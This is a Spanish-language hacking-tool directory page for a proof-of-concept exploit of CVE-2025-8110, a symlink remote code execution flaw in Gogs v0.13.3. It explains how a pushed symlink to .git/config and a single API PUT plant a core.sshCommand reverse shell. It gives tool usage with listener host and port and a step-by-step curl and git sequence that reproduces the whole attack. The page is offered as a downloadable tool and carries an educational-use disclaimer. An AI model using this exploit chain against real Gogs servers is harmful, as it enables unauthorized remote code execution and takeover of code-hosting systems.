Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Exploit de un solo disparo para la RCE por symlink en Gogs (CVE-2025-8110) que desencadena una reverse shell mediante una única petición PUT a UpdateRepoFile.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-8110 PoC

Script de prueba de concepto en Python para CVE-2025-8110 — RCE por symlink en UpdateRepoFile de Gogs v0.13.3. Disparo único: el propio PUT malicioso activa git fetch → sshCommand → reverse shell.

⚠️ Solo para fines educativos y de investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posees o para los que careces de permiso por escrito para probar es ilegal.

Detalles

  • PoC para CVE-2025-8110
  • Versión afectada: Gogs v0.13.3
  • Versión parcheada: Gogs v0.13.4
  • Referencia: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Comportamiento vulnerable

El manejador UpdateRepoFile en internal/db/repo_editor.go llama a para escribir el contenido del archivo, lo que sigue los symlinks sin comprobarlos. Combinado con el hecho de que los commits anteriores de symlinks atraviesan hacia , un atacante puede:

os.WriteFile
.git/
  1. Subir un symlink x → .git/config al repositorio bare
  2. Llamar a PUT /api/v1/repos/{owner}/{repo}/contents/x con un .git/config malicioso que contenga core.sshCommand establecido a un comando de reverse shell
  3. La misma petición PUT escribe la configuración y activa git fetch origin (a través de CreateOrUpdateRepoFile → UpdateLocalCopyBranch), que lee la configuración modificada y ejecuta sshCommand — lanzando un reverse shell en un solo disparo.

Archivos

  • poc.py: solicita objetivo, usuario, contraseña, LHOST y LPORT; inicia sesión, crea un token de API, crea un repositorio, sube un symlink y sobrescribe .git/config a través de la API — la propia petición PUT única activa el reverse shell.

Uso

Ejecuta:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Argumentos

ArgumentoRequeridoDescripción
--target / -tSíHostname o URL del Gogs objetivo
--usernameSíNombre de usuario existente en Gogs
--passwordSíContraseña existente de Gogs
--lhostSíIP del listener para el reverse shell
--lportSíPuerto del listener

Cómo funciona

  1. Login — inicia sesión en la interfaz web de Gogs con las credenciales proporcionadas
  2. Token — crea un token personal de API a través de /user/settings/applications
  3. Repo — crea un nuevo repositorio vacío mediante la API de Gogs
  4. Push del symlink — clona el repositorio, crea un symlink x → .git/config, hace commit y push
  5. Sobrescritura y disparo (disparo único) — envía PUT /api/v1/repos/{owner}/{repo}/contents/x con una configuración git maliciosa que contiene core.sshCommand y una URL remota SSH. CreateOrUpdateRepoFile de Gogs llama internamente a UpdateLocalCopyBranch → git fetch origin, que lee la configuración envenenada y ejecuta sshCommand — lanzando un reverse shell en una sola petición.

Equivalente en curl

Login y obtención de CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Crear token de API

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Crear repositorio

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Push del symlink

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Sobrescritura y disparo (PUT único — espera timeout, llega el shell)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

La propia petición PUT activa git fetch origin, que lee el .git/config envenenado y ejecuta el reverse shell. No se necesita una segunda petición.

¿Por qué --max-time 10? El servidor puede quedarse colgado durante ~10s mientras git procesa la escritura y activa el fetch. Usar --max-time 10 garantiza que curl mantenga la conexión abierta el tiempo suficiente para que el shell se conecte de vuelta. Sin ello, la conexión puede caerse antes de que el shell se lance.

Descargar herramienta